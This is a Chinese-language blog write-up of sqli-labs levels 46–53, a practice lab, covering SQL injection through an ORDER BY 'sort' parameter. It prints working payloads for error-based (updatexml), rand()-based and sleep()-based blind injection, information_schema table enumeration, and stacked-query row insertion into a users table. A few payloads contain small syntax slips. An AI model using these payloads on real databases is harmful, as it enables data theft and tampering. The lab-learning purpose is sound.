sqli-labs(46-53)-order by注入

order by注入 - AlucardLink

46数字型-报错注入

刚打开,题目意思是sort作为参数,进行赋值?

image-20210805185541832

它会根据输入的第x个字段来排序

image-20210805191325938

image-20210805191346692

image-20210805191359559

报错注入可以获取表信息,不演示了

sort=11 and updatexml(1,concat(0x7e,database(),0x7e),1)#

image-20210805191606127

47单引号-报错注入

?sort=1显示

?sort=1 and 1=1显示

?sort=1 and 1=2显示

?sort=1'报错,字符串型,报错注入

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image-20210806112536375

后面又试了以下,发现无论输入什么值,排序总不改变,是因为单引号的作用吗?

image-20210806112942315

源码关键语句:

$sql = "SELECT * FROM users ORDER BY '$id'";

48 rand()盲注,延时注入-数字型

数字型order by注入时,语句?sort=2 and 1=2,和?sort=2 and 1=1 显示的结果一样,而用rand()会显示不同的结果

当在字符型中用?sort=rand(),则不会有效果

?sort=1显示

?sort=1 and 1=1

?sort=rand(1)按下面顺序排列

image-20210806115147711

?sort=rand(0),按下面顺序排列

image-20210806115400770

接着使用rand(表达式)来盲注

?sort=rand(ascii(left(database(),1))=123)等以此类推

?sort=rand(ascii(left((select table_name from information_schema.tables where table_schema='security'),2)))

表达式如果正确,就会显示rand(1)一样的排序

表达式如果错误,就会显示rand(0)一样的排序

或者延时注入

?sort=1 and if(ascii(left((select table_name from information_schema.tables where table_schema='security'),2)),0,sleep(1))

49 if()时间盲注-单引号

使用?sort=rand(),每次刷新结果都一样,不是数字型

1" and if(1=1,sleep(1),1) and "1"="1正常时间显示,不是双引号

?sort=1' and if(1=1,sleep(1),1) and '1'='1 延时显示,单引号字符型

接下来使用盲注来猜

?sort=1' and if((ascii(left(database,1))=123,sleep(1),1) and '1'='1

50堆叠,报错,rand()盲注-数字型

?sort=rand()每次刷新排序都变化,数字型,可以用rand()盲注

或者报错注入

image-20210806153145478

?sort=rand() and updatexml(1,concat(0x7e,database(),0x7e),1)

image-20210806153233551

看看源码:

使用了mysqli_multy_query()函数支持多条查询,因此可以堆叠注入

image-20210806154953325

?sort=rand();insert into users values('19','123','111'),数据插入成功

image-20210806155426823

51 堆叠,报错,rand()盲注-单引号型

?sort=rand() 重复提交,排序结果不变,不是数字型

判断字符型是单引号,还是双引号,有无()

?sort=1'报错了,单引号

image-20210806155705448

接下来可以if()盲注,例如1' and if(length(database())>5,sleep(1),1) and '1'='1 先判断数据库长度,在逐步获得数据库名

也可以报错注入

看了看源码:也是使用多条查询,可以堆叠注入

image-20210806160030753

52 rand()盲注,堆叠注入-盲注-数字型

?sort=rand()每次提交,排序会变,数字型

不会报错,只能盲注

rand(表达式)盲注

看看源码,有多条查询,堆叠注入

image-20210806160359459

53 if()延时注入,堆叠注入-盲注-单引号

?sort=rand()多次提交排序不变,字符型

?sort=1' and if(1=1,sleep(1),1) and '1'='1有延时,说明是单引号字符型

使用if()延时注入,例如?sort=1' and if((length(database())>5),sleep(1),1) and '1'='1

源码中有多条查询语句,堆叠注入

image-20210806163335745

posted @ 2021-08-06 16:41  1ink  阅读(142)  评论(0编辑  收藏  举报